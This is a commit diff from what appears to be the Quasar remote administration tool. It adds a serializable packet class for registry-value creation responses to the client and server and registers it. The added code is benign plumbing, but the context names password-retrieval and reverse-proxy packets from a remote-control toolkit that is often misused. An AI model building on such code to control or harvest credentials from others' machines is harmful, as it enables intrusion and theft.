Added client packets for creating registry value responses.

This commit is contained in:
StingRaptor 2016-01-22 13:06:26 +01:00
parent 808030b9a5
commit 38019f11c1
6 changed files with 56 additions and 0 deletions

View File

@ -95,6 +95,7 @@
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" /> <Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
<Compile Include="Core\Networking\QuasarClient.cs" /> <Compile Include="Core\Networking\QuasarClient.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />

View File

@ -82,6 +82,7 @@ namespace xClient.Core.Networking
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse), typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData), typeof (ReverseProxy.Packets.ReverseProxyData),

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Networking;
using xClient.Core.Registry;
namespace xClient.Core.Packets.ClientPackets
{
[Serializable]
public class GetCreateRegistryValueResponse : IPacket
{
public string KeyPath { get; set; }
public RegValueData Value { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetCreateRegistryValueResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -129,6 +129,7 @@ namespace xServer.Core.Networking
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse), typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData), typeof (ReverseProxy.Packets.ReverseProxyData),

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
using xServer.Core.Registry;
namespace xServer.Core.Packets.ClientPackets
{
[Serializable]
public class GetCreateRegistryValueResponse : IPacket
{
public string KeyPath { get; set; }
public RegValueData Value { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetCreateRegistryValueResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -141,6 +141,7 @@
<Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" /> <Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" />
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" /> <Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />